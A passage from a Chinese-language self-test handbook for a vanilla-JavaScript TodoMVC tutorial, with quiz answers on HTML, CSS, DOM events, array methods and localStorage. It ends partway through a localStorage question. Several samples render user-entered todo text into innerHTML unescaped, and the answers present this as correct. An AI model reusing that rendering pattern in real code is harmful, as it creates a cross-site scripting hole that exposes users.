Skip to content

📝 TodoMVC 学习检测手册

本手册基于https://github.com/Jaxon1216/todomvc-vanillajs/项目实际代码,帮助你检验学习成果

使用说明

  • 建议完成对应教程后再做自测
  • 先独立思考答案,再点击查看参考答案
  • 所有代码示例均来自项目源码(app.jsindex.htmlstyle.css
  • 答案仅供参考,实现方式可以不同

📚 基础篇检测(Todo List)

对应教程:基础篇(暂无链接) 学习目标:HTML 语义化、CSS Flex、DOM 操作、事件委托、localStorage、数组方法

一、HTML & CSS(8题)

Q1: 项目使用了哪些 HTML5 语义化标签?它们各自有什么作用?

💡 点击查看参考答案

项目中使用的语义化标签:

  1. <aside> - 侧边栏容器,表示辅助内容
  2. <nav> - 导航菜单区域
  3. <main> - 主要内容区域
  4. <section> - 独立的内容区块(各个视图)
  5. <header> - 页面头部
  6. <ul> / <li> - 无序列表,用于 Todo 列表

为什么要使用语义化标签?

  • ✅ 提高代码可读性
  • ✅ 有利于 SEO(搜索引擎优化)
  • ✅ 辅助屏幕阅读器,提升无障碍访问
  • ✅ 便于团队协作和维护

示例: (来自 index.html 第 19-42 行)

html
<aside class="sidebar">
    <div class="sidebar-header">
        <h1 class="logo">📝 TodoMVC</h1>
        <p class="tagline">纯原生 JS 实战</p>
    </div>
    <nav class="nav-menu">
        <button class="nav-item active" data-view="todo">
            <span class="nav-icon">✅</span>
            <span class="nav-text">Todo List</span>
        </button>
    </nav>
</aside>

Q2: 项目如何实现左右两栏布局?

💡 点击查看参考答案

核心技术:CSS Flexbox

代码实现: (来自 style.css 第 172-175 行)

css
.app-container {
    display: flex;
    min-height: 100vh;
}

布局说明:

  • .app-container 使用 display: flex 创建弹性容器
  • 默认 flex-direction: row(横向排列)
  • 侧边栏固定宽度 240px,主内容区自动填充剩余空间

侧边栏固定定位: (第 180-189 行)

css
.sidebar {
    width: var(--sidebar-width);
    background-color: var(--sidebar-bg);
    display: flex;
    flex-direction: column;
    position: fixed;  /* 固定定位,不随页面滚动 */
    left: 0;
    top: 0;
    bottom: 0;
}

主内容区: (第 247-252 行)

css
.main-content {
    flex: 1;  /* 占据剩余空间 */
    margin-left: var(--sidebar-width);  /* 留出侧边栏宽度 */
    padding: 40px 48px;
    background-color: var(--main-bg);
}

Q3: CSS 变量如何定义和使用?项目中定义了哪些 CSS 变量?

💡 点击查看参考答案

CSS 变量语法:

css
/* 定义变量(在 :root 中定义为全局变量) */
:root {
    --变量名: 值;
}

/* 使用变量 */
.selector {
    property: var(--变量名);
}

项目中的 CSS 变量: (来自 style.css 第 124-143 行)

css
:root {
    /* 主色调 - 低饱和浅天蓝 */
    --sidebar-bg: #e8f4fc;
    --sidebar-hover: #d0e8f5;
    --sidebar-active: #b8dced;
    
    /* 背景色 */
    --main-bg: #ffffff;
    
    /* 文字颜色 */
    --text-primary: #2c3e50;
    --text-secondary: #7f8c8d;
    
    /* 功能色 */
    --primary-color: #5dade2;
    
    /* 尺寸 */
    --sidebar-width: 240px;
    --border-radius: 8px;
}

使用示例:

css
.sidebar {
    width: var(--sidebar-width);
    background-color: var(--sidebar-bg);
}

.btn-primary {
    background-color: var(--primary-color);
    border-radius: var(--border-radius);
}

优势:

  • ✅ 统一管理颜色和尺寸
  • ✅ 方便主题切换
  • ✅ 便于响应式调整(在媒体查询中重新定义变量)

Q4: 如何实现复选框的自定义样式?

💡 点击查看参考答案

实现思路: 不使用原生 <input type="checkbox">,而是用 <div> 配合 CSS 伪元素实现。

HTML 结构: (来自 index.html 第 217 行)

html
<li class="todo-item completed" data-id="123">
    <div class="todo-checkbox"></div>
    <span class="todo-text">学习 JavaScript</span>
    <button class="todo-delete">删除</button>
</li>

CSS 样式: (来自 style.css 第 493-522 行)

css
/* 复选框样式 */
.todo-checkbox {
    width: 22px;
    height: 22px;
    border: 2px solid #ecf0f1;
    border-radius: 50%;  /* 圆形 */
    margin-right: 14px;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: all 0.2s;
    flex-shrink: 0;
}

.todo-checkbox:hover {
    border-color: var(--primary-color);
}

/* 已完成状态 */
.todo-item.completed .todo-checkbox {
    background-color: #58d68d;  /* 绿色背景 */
    border-color: #58d68d;
}

.todo-item.completed .todo-checkbox::after {
    content: "✓";  /* 使用伪元素添加对号 */
    color: white;
    font-size: 12px;
    font-weight: bold;
}

关键技术:

  • ::after 伪元素添加对号
  • .completed 类控制完成状态
  • JavaScript 通过切换类名实现交互

Q5: 空状态提示如何实现显示/隐藏?

💡 点击查看参考答案

HTML 结构: (来自 index.html 第 75-78 行)

html
<div class="empty-state" id="todo-empty">
    <p>🎉 暂无待办事项</p>
    <p class="empty-hint">在上方输入框添加你的第一个任务吧!</p>
</div>

CSS 样式: (来自 style.css 第 547-567 行)

css
.empty-state {
    text-align: center;
    padding: 60px 20px;
    color: var(--text-secondary);
    display: none;  /* 默认隐藏 */
}

.empty-state.show {
    display: block;  /* 有 show 类时显示 */
}

JavaScript 控制: (来自 app.js 第 199-204 行)

javascript
// 如果没有 Todo 项,显示空状态
if (todos.length === 0) {
    todoList.innerHTML = '';
    todoEmpty.classList.add('show');
    return;
}

// 隐藏空状态
todoEmpty.classList.remove('show');

实现原理:

  • 默认 display: none 隐藏
  • JavaScript 根据数据长度动态添加/移除 show
  • 有数据时隐藏,无数据时显示

Q6: 筛选按钮的激活状态如何实现?

💡 点击查看参考答案

HTML 结构: (来自 index.html 第 64-69 行)

html
<div class="todo-filters">
    <button class="filter-btn active" data-filter="all">全部</button>
    <button class="filter-btn" data-filter="active">未完成</button>
    <button class="filter-btn" data-filter="completed">已完成</button>
    <span class="todo-count">共 <span id="todo-count-num">0</span> 项</span>
</div>

CSS 样式: (来自 style.css 第 435-451 行)

css
.filter-btn {
    padding: 8px 16px;
    border-radius: 20px;
    font-size: 13px;
    color: var(--text-secondary);
    background-color: #f8f9fa;
    transition: all 0.2s;
}

.filter-btn:hover {
    background-color: #ecf0f1;
}

.filter-btn.active {
    background-color: var(--primary-color);  /* 激活时蓝色背景 */
    color: white;
}

JavaScript 控制: (来自 app.js 第 88-100 行)

javascript
// 筛选按钮点击事件
filterBtns.forEach(function(btn) {
    btn.addEventListener('click', function() {
        // 移除所有按钮的 active 类
        filterBtns.forEach(function(b) {
            b.classList.remove('active');
        });
        
        // 为当前点击的按钮添加 active 类
        this.classList.add('active');
        
        // 更新筛选状态并重新渲染
        currentFilter = this.getAttribute('data-filter');
        renderTodos();
    });
});

关键点:

  • 使用 .active 类控制激活状态
  • 点击时先移除所有按钮的 active,再给当前按钮添加
  • 确保同一时间只有一个按钮处于激活状态

Q7: 悬停效果(hover)如何实现?

💡 点击查看参考答案

CSS :hover 伪类

:hover 是 CSS 的伪类选择器,当鼠标悬停在元素上时触发。

示例1:导航按钮悬停 (来自 style.css 第 223-225 行)

css
.nav-item:hover {
    background-color: var(--sidebar-hover);
}

示例2:Todo 项悬停 (第 478-480 行)

css
.todo-item:hover {
    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.06);
}

示例3:按钮悬停 (第 390-392 行)

css
.btn-primary:hover {
    background-color: #3498db;
}

示例4:复选框悬停 (第 507-509 行)

css
.todo-checkbox:hover {
    border-color: var(--primary-color);
}

要点:

  • :hover 后面的样式只在鼠标悬停时生效
  • 配合 transition 实现平滑过渡动画
  • 提升用户体验,让交互更明显

Q8: transition 过渡动画如何使用?

💡 点击查看参考答案

transition 语法:

css
transition: 属性 持续时间 时间函数 延迟;

项目中的应用:

示例1:通用按钮过渡 (来自 style.css 第 377-383 行)

css
.btn {
    padding: 10px 20px;
    border-radius: var(--border-radius);
    font-size: 14px;
    font-weight: 500;
    transition: all 0.2s;  /* 所有属性变化都有 0.2 秒过渡 */
}

示例2:输入框过渡 (第 403-412 行)

css
.todo-input {
    flex: 1;
    padding: 14px 18px;
    background-color: #f8f9fa;
    border: 2px solid transparent;
    border-radius: var(--border-radius);
    font-size: 15px;
    outline: none;
    transition: all 0.2s;
}

.todo-input:focus {
    background-color: white;
    border-color: var(--primary-color);
}

效果说明:

  • 当输入框获得焦点时,背景色和边框颜色的变化会平滑过渡
  • all 表示所有属性都应用过渡
  • 0.2s 表示过渡持续 0.2 秒

常用属性值:

  • transition: all 0.2s - 所有属性都过渡
  • transition: background-color 0.3s - 只对背景色过渡
  • transition: transform 0.2s, opacity 0.3s - 多个属性不同时长

二、JavaScript 基础(10题)

Q9: DOMContentLoaded 事件的作用是什么?为什么要使用它?

💡 点击查看参考答案

代码: (来自 app.js 第 13-20 行)

javascript
// 等待 DOM 加载完成后再执行代码
document.addEventListener('DOMContentLoaded', function() {
    initTodoList();
    initNavigation();
    initCountdown();
    startCountdownTimer();
    initTimeline();
});

作用:

  • 等待 HTML 文档完全加载和解析后再执行 JavaScript
  • 确保 DOM 元素都已经存在,可以被正确获取

为什么需要?

错误示例:

html
<script src="app.js"></script>  <!-- JS 在 body 之前加载 -->
<body>
    <div id="todo-list"></div>
</body>

如果 JavaScript 在 HTML 之前执行:

javascript
const todoList = document.getElementById('todo-list');
// todoList 是 null,因为 DOM 还没加载

正确做法:

方式1:把 <script> 放在 </body> 之前

html
<body>
    <div id="todo-list"></div>
    <script src="app.js"></script>  <!-- HTML 之后 -->
</body>

方式2:使用 DOMContentLoaded(更推荐)

javascript
document.addEventListener('DOMContentLoaded', function() {
    // 这里的代码会在 DOM 加载完成后执行
    const todoList = document.getElementById('todo-list');  // ✅ 正常获取
});

Q10: 如何获取 DOM 元素?项目中使用了哪些方法?

💡 点击查看参考答案

项目中使用的 DOM 获取方法:

方法1:getElementById (最常用)

javascript
const todoInput = document.getElementById('todo-input');
const addTodoBtn = document.getElementById('add-todo-btn');

方法2:querySelectorAll(获取多个元素)

javascript
const filterBtns = document.querySelectorAll('.filter-btn');
const navItems = document.querySelectorAll('.nav-item');

完整示例: (来自 app.js 第 67-76 行)

javascript
function initTodoList() {
    // getElementById - 通过 ID 获取单个元素
    const todoInput = document.getElementById('todo-input');
    const addTodoBtn = document.getElementById('add-todo-btn');
    
    // 点击添加按钮时添加新 Todo
    addTodoBtn.addEventListener('click', function() {
        addTodo();
    });
    
    // ... 其他代码
    
    // querySelectorAll - 通过类名获取多个元素
    const filterBtns = document.querySelectorAll('.filter-btn');
    
    filterBtns.forEach(function(btn) {
        // 为每个按钮添加事件
    });
}

DOM 获取方法对比:

方法返回值语法
getElementById单个元素document.getElementById('id')
querySelector单个元素(第一个匹配)document.querySelector('.class')
querySelectorAllNodeList(类数组)document.querySelectorAll('.class')
getElementsByClassNameHTMLCollectiondocument.getElementsByClassName('class')

项目中主要使用前两种,推荐理由:

  • getElementById - 性能最好,语义清晰
  • querySelectorAll - 功能强大,支持复杂选择器

Q11: 如何监听事件?addEventListener 的用法是什么?

💡 点击查看参考答案

语法:

javascript
element.addEventListener(事件类型, 处理函数, 可选参数);

项目中的应用:

示例1:点击事件 (来自 app.js 第 73-75 行)

javascript
addTodoBtn.addEventListener('click', function() {
    addTodo();
});

示例2:键盘事件 (第 78-83 行)

javascript
todoInput.addEventListener('keypress', function(event) {
    // event.key === 'Enter' 表示按下了回车键
    if (event.key === 'Enter') {
        addTodo();
    }
});

示例3:change 事件 (第 339-348 行)

javascript
countdownList.addEventListener('change', function(event) {
    const target = event.target;
    if (target.classList.contains('countdown-edit-date')) {
        const card = target.closest('.countdown-card');
        if (card) {
            const countdownId = parseInt(card.getAttribute('data-id'));
            updateCountdownDate(countdownId, target.value);
        }
    }
});

常用事件类型:

  • click - 点击
  • keypress / keydown / keyup - 键盘按键
  • change - 表单元素值改变
  • input - 输入框内容改变(实时)
  • submit - 表单提交
  • focus / blur - 获得/失去焦点

事件对象(event):

javascript
element.addEventListener('click', function(event) {
    event.target;        // 触发事件的元素
    event.key;           // 按下的键(键盘事件)
    event.preventDefault(); // 阻止默认行为
    event.stopPropagation(); // 阻止冒泡
});

Q12: 模板字符串的语法是什么?它有哪些优势?

💡 点击查看参考答案

语法:

javascript
`字符串内容 ${变量或表达式}`

项目中的应用: (来自 app.js 第 215-221 行)

javascript
html += `
    <li class="todo-item ${completedClass}" data-id="${todo.id}">
        <div class="todo-checkbox"></div>
        <span class="todo-text">${todo.text}</span>
        <button class="todo-delete">删除</button>
    </li>
`;

优势对比:

传统字符串拼接:

javascript
var html = '<li class="todo-item ' + completedClass + '" data-id="' + todo.id + '">' +
    '<div class="todo-checkbox"></div>' +
    '<span class="todo-text">' + todo.text + '</span>' +
    '<button class="todo-delete">删除</button>' +
'</li>';

模板字符串:

javascript
const html = `
    <li class="todo-item ${completedClass}" data-id="${todo.id}">
        <div class="todo-checkbox"></div>
        <span class="todo-text">${todo.text}</span>
        <button class="todo-delete">删除</button>
    </li>
`;

优势:

  • ✅ 可读性强,接近 HTML 原貌
  • ✅ 支持多行字符串
  • ✅ 支持嵌套表达式 ${2 + 3}5
  • ✅ 不需要频繁使用 + 拼接

表达式示例:

javascript
const daysLabel = daysRemaining > 0 ? '天后' : '天前';
html += `<span>${Math.abs(daysRemaining)} ${daysLabel}</span>`;

Q13: forEach 方法如何使用?

💡 点击查看参考答案

语法:

javascript
数组.forEach(function(元素, 索引, 数组本身) {
    // 处理每个元素
});

项目中的应用:

示例1:遍历数组生成 HTML (来自 app.js 第 210-222 行)

javascript
let html = '';
todos.forEach(function(todo) {
    const completedClass = todo.completed ? 'completed' : '';
    
    html += `
        <li class="todo-item ${completedClass}" data-id="${todo.id}">
            <div class="todo-checkbox"></div>
            <span class="todo-text">${todo.text}</span>
            <button class="todo-delete">删除</button>
        </li>
    `;
});

todoList.innerHTML = html;

示例2:为每个按钮添加事件 (第 88-100 行)

javascript
const filterBtns = document.querySelectorAll('.filter-btn');

filterBtns.forEach(function(btn) {
    btn.addEventListener('click', function() {
        filterBtns.forEach(function(b) {
            b.classList.remove('active');
        });
        this.classList.add('active');
        
        currentFilter = this.getAttribute('data-filter');
        renderTodos();
    });
});

参数说明:

javascript
['苹果', '香蕉', '橙子'].forEach(function(item, index, array) {
    console.log(index, item);
    // 0 "苹果"
    // 1 "香蕉"
    // 2 "橙子"
});

与 for 循环对比:

javascript
// for 循环
for (let i = 0; i < todos.length; i++) {
    const todo = todos[i];
    // 处理 todo
}

// forEach(更简洁)
todos.forEach(function(todo) {
    // 处理 todo
});

注意:

  • forEach 不能使用 breakcontinue
  • 如果需要中断循环,使用 forsome/every

Q14: 如何给动态生成的元素绑定事件?什么是事件委托?

💡 点击查看参考答案

问题场景:

Todo 项是通过 JavaScript 动态生成的,如果直接绑定会失效:

javascript
// ❌ 错误示例:动态元素绑定不了
function renderTodos() {
    // 生成 HTML
    todoList.innerHTML = html;
    
    // 这些元素是新生成的,之前的事件监听器失效了
    const deleteBtn = document.querySelector('.todo-delete');
    deleteBtn.addEventListener('click', function() {
        // 只能绑定到第一个按钮,且每次重新渲染都会失效
    });
}

解决方案:事件委托

**原理:**利用事件冒泡,在父元素上监听子元素的事件。

代码实现: (来自 app.js 第 102-124 行)

javascript
// 获取Todo 列表容器(父元素)
const todoList = document.getElementById('todo-list');

// 使用事件委托处理列表中的点击事件
todoList.addEventListener('click', function(event) {
    // event.target 是实际被点击的元素
    const target = event.target;
    
    // 获取被点击元素所属的 Todo 项
    const todoItem = target.closest('.todo-item');
    if (!todoItem) return; // 如果没找到,说明点击的不是 Todo 项内部
    
    // 获取 Todo 项的 ID(从 data-id 属性读取)
    const todoId = parseInt(todoItem.getAttribute('data-id'));
    
    // 判断点击的是复选框还是删除按钮
    if (target.classList.contains('todo-checkbox')) {
        toggleTodo(todoId);
    } else if (target.classList.contains('todo-delete')) {
        deleteTodo(todoId);
    }
});

事件冒泡示意图:

<ul id="todo-list">          ← 在这里监听事件(父元素)
    <li class="todo-item">
        <button class="todo-delete">删除</button>  ← 实际点击这里
    </li>
</ul>

点击按钮 → 事件冒泡到 <li> → 继续冒泡到 <ul> → 触发监听器

优势:

  • ✅ 只需绑定一次事件
  • ✅ 动态添加的元素也能响应
  • ✅ 性能更好(只有一个监听器)

关键方法:

  • event.target - 实际被点击的元素
  • closest('.class') - 向上查找最近的匹配元素
  • classList.contains('class') - 判断是否包含某个类名

Q15: trim() 方法的作用是什么?

💡 点击查看参考答案

**作用:**去除字符串首尾的空白字符(空格、制表符、换行符等)。

项目中的应用: (来自 app.js 第 139-145 行)

javascript
function addTodo() {
    const todoInput = document.getElementById('todo-input');
    const text = todoInput.value.trim();  // 去除首尾空格
    
    // 如果输入为空,不添加
    if (text === '') {
        return;
    }
    // ...
}

为什么需要 trim()

没有 trim() 的问题:

javascript
// 用户输入:"   学习 JavaScript   "(前后有空格)
const text = todoInput.value;
if (text === '') {
    return;  // ❌ 不会执行,因为 "   " !== ""
}

// 结果:会添加一个显示为空白的 Todo 项

使用 trim() 后:

javascript
// 用户输入:"   学习 JavaScript   "
const text = todoInput.value.trim();  // → "学习 JavaScript"

if (text === '') {
    return;  // ✅ 如果只有空格,trim() 后为 "",会被拦截
}

示例:

javascript
const str1 = "   hello   ";
console.log(str1.trim());     // "hello"

const str2 = "  \n\t  ";
console.log(str2.trim());     // ""

const str3 = "  a b c  ";
console.log(str3.trim());     // "a b c"(中间的空格不会被去除)

用途:

  • 表单验证(防止用户只输入空格)
  • 数据清洗
  • 搜索功能(用户可能无意中输入了空格)

Q16: Date.now() 生成的是什么?为什么可以用作唯一 ID?

💡 点击查看参考答案

Date.now() 返回什么?

返回当前时间的时间戳(毫秒数)。

项目中的应用: (来自 app.js 第 147-151 行)

javascript
const newTodo = {
    id: Date.now(),        // 使用时间戳作为唯一 ID
    text: text,
    completed: false
};

时间戳是什么?

从 1970 年 1 月 1 日 00:00:00 UTC 到现在经过的毫秒数。

javascript
console.log(Date.now());  // 1703473800123(13 位数字)

为什么可以用作唯一 ID?

  • ✅ 每次调用都返回不同的值(时间在流逝)
  • ✅ 数字类型,方便比较和排序
  • ✅ 简单易用,不需要额外的 ID 生成库

示例:

javascript
console.log(Date.now());  // 1703473800123
setTimeout(() => {
    console.log(Date.now());  // 1703473800456(不同)
}, 100);

注意事项:

⚠️ 极端情况下可能重复: 如果在极短时间内(< 1毫秒)连续添加多个 Todo,可能会生成相同的 ID。

更严谨的做法:

javascript
// 方案1:加上随机数
id: Date.now() + Math.random()

// 方案2:使用计数器
let counter = 0;
id: Date.now() + (counter++)

// 方案3:使用 UUID 库(生产环境推荐)

但对于学习项目,Date.now() 已经足够了。


Q17: data- 自定义属性如何使用?

💡 点击查看参考答案

**data- 属性:**HTML5 允许在元素上添加自定义数据属性。

语法:

html
<元素 data-属性名="值">

项目中的应用:

示例1:存储 Todo ID (来自 app.js 第 216 行)

html
<li class="todo-item" data-id="1703473800123">
    <span class="todo-text">学习 JavaScript</span>
</li>

读取 data 属性: (第 114 行)

javascript
const todoItem = target.closest('.todo-item');
const todoId = parseInt(todoItem.getAttribute('data-id'));
// todoId = 1703473800123

示例2:存储视图名称 (来自 index.html 第 26 行)

html
<button class="nav-item active" data-view="todo">
    <span class="nav-icon">✅</span>
    <span class="nav-text">Todo List</span>
</button>

读取并使用: (来自 app.js 第 32-49 行)

javascript
navItem.addEventListener('click', function() {
    // 获取要显示的视图名称
    const targetView = this.getAttribute('data-view');  // "todo"
    
    // 显示目标视图
    const targetViewElement = document.getElementById(targetView + '-view');
    // → document.getElementById('todo-view')
});

示例3:存储筛选类型 (第 64 行)

html
<button class="filter-btn active" data-filter="all">全部</button>
javascript
currentFilter = this.getAttribute('data-filter');  // "all"

使用场景:

  • 存储ID、索引、类型等数据
  • 传递配置信息
  • 替代全局变量

优势:

  • ✅ 符合 HTML5 标准
  • ✅ 数据和元素绑定在一起
  • ✅ 便于事件委托时获取数据

Q18: console.log() 的作用是什么?如何使用浏览器开发者工具查看?

💡 点击查看参考答案

**作用:**在浏览器控制台输出信息,用于调试。

项目中的应用: (来自 app.js 第 164-165 行)

javascript
console.log('添加了新 Todo:', newTodo);
console.log('当前所有 Todo:', todos);

如何查看:

  1. 打开浏览器开发者工具:

    • Windows/Linux: 按 F12Ctrl + Shift + I
    • Mac: 按 Cmd + Option + I
  2. 切换到 Console(控制台)面板

  3. 查看输出信息

常用用法:

javascript
// 输出字符串
console.log('Hello');

// 输出变量
const name = 'Tom';
console.log(name);  // Tom

// 输出多个值
console.log('用户:', name, '年龄:', 18);

// 输出对象
const todo = { id: 123, text: '学习', completed: false };
console.log(todo);  // 可以展开查看对象内容

// 输出数组
const todos = [todo1, todo2];
console.log(todos);  // 可以展开查看数组元素

其他 console 方法:

javascript
console.warn('这是警告');     // ⚠️ 黄色警告
console.error('这是错误');    // ❌ 红色错误
console.table(todos);         // 📊 以表格形式展示数组/对象
console.clear();              // 清空控制台

调试技巧:

javascript
function addTodo() {
    console.log('🔍 开始添加 Todo');
    const text = todoInput.value.trim();
    console.log('📝 输入内容:', text);
    
    if (text === '') {
        console.log('❌ 输入为空,停止添加');
        return;
    }
    
    const newTodo = { id: Date.now(), text, completed: false };
    console.log('✅ 创建了新 Todo:', newTodo);
    
    todos.push(newTodo);
    console.log('📚 当前所有 Todo:', todos);
}

项目中的调试输出位置:

  • 添加 Todo 后(第 164-165 行)
  • 删除 Todo 后(第 243 行)
  • 切换状态后(第 263 行)

三、Todo 核心功能(10题)

Q19: 如何实现添加 Todo 功能?请写出核心代码和步骤。

💡 点击查看参考答案

核心步骤:

  1. 获取输入框的值并去除空格
  2. 验证输入不为空
  3. 创建 Todo 对象(包含 id、text、completed)
  4. 添加到数组
  5. 保存到 localStorage
  6. 清空输入框
  7. 重新渲染列表

完整代码: (来自 app.js 第 139-166 行)

javascript
function addTodo() {
    const todoInput = document.getElementById('todo-input');
    const text = todoInput.value.trim();
    
    // 如果输入为空,不添加
    if (text === '') {
        return;
    }
    
    const newTodo = {
        id: Date.now(),
        text: text,
        completed: false,
    };
    
    // 添加到数组
    todos.push(newTodo);
    saveTodosToStorage();
    
    // 清空输入框
    todoInput.value = '';
    
    // 重新渲染列表
    renderTodos();
    
    // 在控制台输出,方便调试
    console.log('添加了新 Todo:', newTodo);
    console.log('当前所有 Todo:', todos);
}

数据结构:

javascript
const newTodo = {
    id: 1703473800123,      // 唯一标识符(时间戳)
    text: "学习 JavaScript", // Todo 的文本内容
    completed: false         // 是否已完成
};

关键知识点:

  • trim() - 去除首尾空格,防止添加空白 Todo
  • Date.now() - 生成唯一 ID
  • push() - 添加元素到数组末尾
  • value = '' - 清空输入框

Q20: 如何实现删除 Todo 功能?filter 方法的作用是什么?

💡 点击查看参考答案

**filter() 方法:**创建一个新数组,包含通过测试的所有元素。

语法:

javascript
const 新数组 = 原数组.filter(function(元素) {
    return 条件;  // 返回 true 则保留,false 则排除
});

删除功能实现: (来自 app.js 第 234-244 行)

javascript
function deleteTodo(id) {
    // 使用 filter 方法创建一个新数组,排除要删除的项
    todos = todos.filter(function(item) {
        return item.id !== id;  // 保留 id 不等于要删除的 id 的项
    });
    
    saveTodosToStorage();
    
    // 重新渲染
    renderTodos();
    
    console.log('删除了 ID 为', id, '的 Todo');
}

理解 filter() 的工作原理:

javascript
// 假设有以下 todos 数组
const todos = [
    { id: 1, text: '学习 HTML', completed: false },
    { id: 2, text: '学习 CSS', completed: true },
    { id: 3, text: '学习 JavaScript', completed: false }
];

// 要删除 id 为 2 的项
const id = 2;

// filter 会遍历每个元素
todos = todos.filter(function(item) {
    return item.id !== id;
});

// 执行过程:
// item.id = 1, 1 !== 2 → true → 保留
// item.id = 2, 2 !== 2 → false → 排除
// item.id = 3, 3 !== 2 → true → 保留

// 结果:
[
    { id: 1, text: '学习 HTML', completed: false },
    { id: 3, text: '学习 JavaScript', completed: false }
]

重点:

  • filter() 不会修改原数组,返回新数组
  • 所以需要重新赋值:todos = todos.filter(...)
  • !== 表示"不等于",保留不匹配的项

常见错误:

javascript
// ❌ 错误1:忘记重新赋值
todos.filter(function(item) {
    return item.id !== id;
});
// todos 仍然是原来的数组

// ❌ 错误2:条件写反了
todos = todos.filter(function(item) {
    return item.id === id;  // 只保留要删除的,结果反了
});

// ✅ 正确
todos = todos.filter(function(item) {
    return item.id !== id;
});

Q21: 如何切换 Todo 的完成状态?find 方法的作用是什么?

💡 点击查看参考答案

**find() 方法:**返回数组中第一个满足条件的元素。

切换功能实现: (来自 app.js 第 250-265 行)

javascript
function toggleTodo(id) {
    // 在数组中找到对应的 Todo 项
    const todo = todos.find(function(item) {
        return item.id === id;
    });
    
    if (todo) {
        // 切换完成状态(true 变 false,false 变 true)
        todo.completed = !todo.completed;
        saveTodosToStorage();
        
        // 重新渲染
        renderTodos();
        
        console.log('切换了 Todo 状态:', todo);
    }
}

find() 工作原理:

javascript
const todos = [
    { id: 1, text: '学习 HTML', completed: false },
    { id: 2, text: '学习 CSS', completed: true },
    { id: 3, text: '学习 JavaScript', completed: false }
];

// 查找 id 为 2 的项
const todo = todos.find(function(item) {
    return item.id === 2;
});

// 返回:{ id: 2, text: '学习 CSS', completed: true }

切换完成状态:

javascript
// ! 是逻辑非运算符
todo.completed = !todo.completed;

// 等价于:
if (todo.completed === true) {
    todo.completed = false;
} else {
    todo.completed = true;
}

关键点:

  • find() 找到就停止,不会继续遍历
  • find() 返回元素本身(不是副本),修改会影响原数组
  • ! 运算符用于取反

Q22: 如何实现筛选功能?请写出核心代码。

💡 点击查看参考答案

实现思路:

  1. 维护一个全局变量 currentFilter 记录当前筛选状态
  2. 点击筛选按钮时更新 currentFilter
  3. 渲染时根据 currentFilter 过滤数组

核心代码: (来自 app.js 第 63-100、176-195 行)

javascript
// 全局变量,记录当前筛选状态
let currentFilter = 'all';  // 'all' | 'active' | 'completed'

// 初始化时绑定筛选按钮事件
function initTodoList() {
    const filterBtns = document.querySelectorAll('.filter-btn');
    
    filterBtns.forEach(function(btn) {
        btn.addEventListener('click', function() {
            // 更新按钮状态
            filterBtns.forEach(function(b) {
                b.classList.remove('active');
            });
            this.classList.add('active');
            
            // 更新筛选状态并重新渲染
            currentFilter = this.getAttribute('data-filter');
            renderTodos();
        });
    });
}

// 渲染时根据 currentFilter 过滤
function renderTodos() {
    // 根据筛选条件过滤 Todo 项
    let filteredTodos;
    if (currentFilter === 'active') {
        filteredTodos = todos.filter(function(item) {
            return !item.completed;  // 未完成的
        });
    } else if (currentFilter === 'completed') {
        filteredTodos = todos.filter(function(item) {
            return item.completed;  // 已完成的
        });
    } else {
        filteredTodos = todos;  // 全部
    }
    
    // 使用过滤后的数组渲染
    filteredTodos.forEach(function(todo) {
        // 生成 HTML
    });
}

筛选逻辑:

javascript
// 全部:不过滤
filteredTodos = todos;

// 未完成:completed 为 false
filteredTodos = todos.filter(function(item) {
    return !item.completed;
    // 等价于 return item.completed === false;
});

// 已完成:completed 为 true
filteredTodos = todos.filter(function(item) {
    return item.completed;
    // 等价于 return item.completed === true;
});

关键点:

  • 不修改原数组 todos,只是用过滤后的数组渲染
  • 每次筛选都重新渲染整个列表
  • 按钮状态和数据状态分离管理

Q23: renderTodos 函数的执行流程是什么?

💡 点击查看参考答案

完整流程: (来自 app.js 第 176-225 行)

javascript
function renderTodos() {
    // 1. 获取 DOM 元素
    const todoList = document.getElementById('todo-list');
    const todoEmpty = document.getElementById('todo-empty');
    const todoCountNum = document.getElementById('todo-count-num');
    
    // 2. 根据筛选条件过滤数据
    let filteredTodos;
    if (currentFilter === 'active') {
        filteredTodos = todos.filter(item => !item.completed);
    } else if (currentFilter === 'completed') {
        filteredTodos = todos.filter(item => item.completed);
    } else {
        filteredTodos = todos;
    }
    
    // 3. 更新计数
    todoCountNum.textContent = filteredTodos.length;
    
    // 4. 判断是否为空
    if (todos.length === 0) {
        todoList.innerHTML = '';
        todoEmpty.classList.add('show');
        return;  // 提前返回
    }
    
    // 5. 隐藏空状态
    todoEmpty.classList.remove('show');
    
    // 6. 生成 HTML 字符串
    let html = '';
    filteredTodos.forEach(function(todo) {
        const completedClass = todo.completed ? 'completed' : '';
        
        html += `
            <li class="todo-item ${completedClass}" data-id="${todo.id}">
                <div class="todo-checkbox"></div>
                <span class="todo-text">${todo.text}</span>
                <button class="todo-delete">删除</button>
            </li>
        `;
    });
    
    // 7. 更新 DOM
    todoList.innerHTML = html;
}

流程图:

开始

获取 DOM 元素

根据 currentFilter 过滤数组

更新计数显示

判断:todos 是否为空?
  是 → 显示空状态,结束
  否 ↓
隐藏空状态

遍历 filteredTodos,拼接 HTML

更新 DOM(innerHTML)

结束

何时调用 renderTodos()

  • 添加 Todo 后
  • 删除 Todo 后
  • 切换完成状态后
  • 点击筛选按钮后
  • 页面初始加载时

性能考虑: 每次都重新生成完整的 HTML(简单但不是最优)。更高效的做法是只更新变化的部分,但对于学习项目,简单优先。


四、localStorage(5题)

Q24: localStorage 如何保存数据?为什么要用 JSON.stringify

💡 点击查看参考答案

localStorage 简介: 浏览器提供的本地存储 API,数据永久保存(除非手动清除)。

基本用法:

javascript
// 保存数据
localStorage.setItem('key', 'value');

// 读取数据
const value = localStorage.getItem('key');

// 删除数据
localStorage.removeItem('key');

// 清空所有数据
localStorage.clear();

项目中的保存函数: (来自 app.js 第 267-270 行)

javascript
function saveTodosToStorage() {
    // 把数组转换成 JSON 字符串后存储
    localStorage.setItem('todos', JSON.stringify(todos));
}

为什么要用 JSON.stringify

问题:localStorage 只能存储字符串

javascript
const todos = [
    { id: 1, text: '学习', completed: false }
];

// ❌ 错误:直接保存对象/数组
localStorage.setItem('todos', todos);
// 实际存储的是:"[object Object]"(没用)

// ✅ 正确:转换成 JSON 字符串
localStorage.setItem('todos', JSON.stringify(todos));
// 实际存储的是:'[{"id":1,"text":"学习","completed":false}]'

JSON.stringify 的作用:

javascript
const todos = [
    { id: 1, text: '学习 HTML' },
    { id: 2, text: '学习 CSS' }
];

const json = JSON.stringify(todos);
console.log(json);
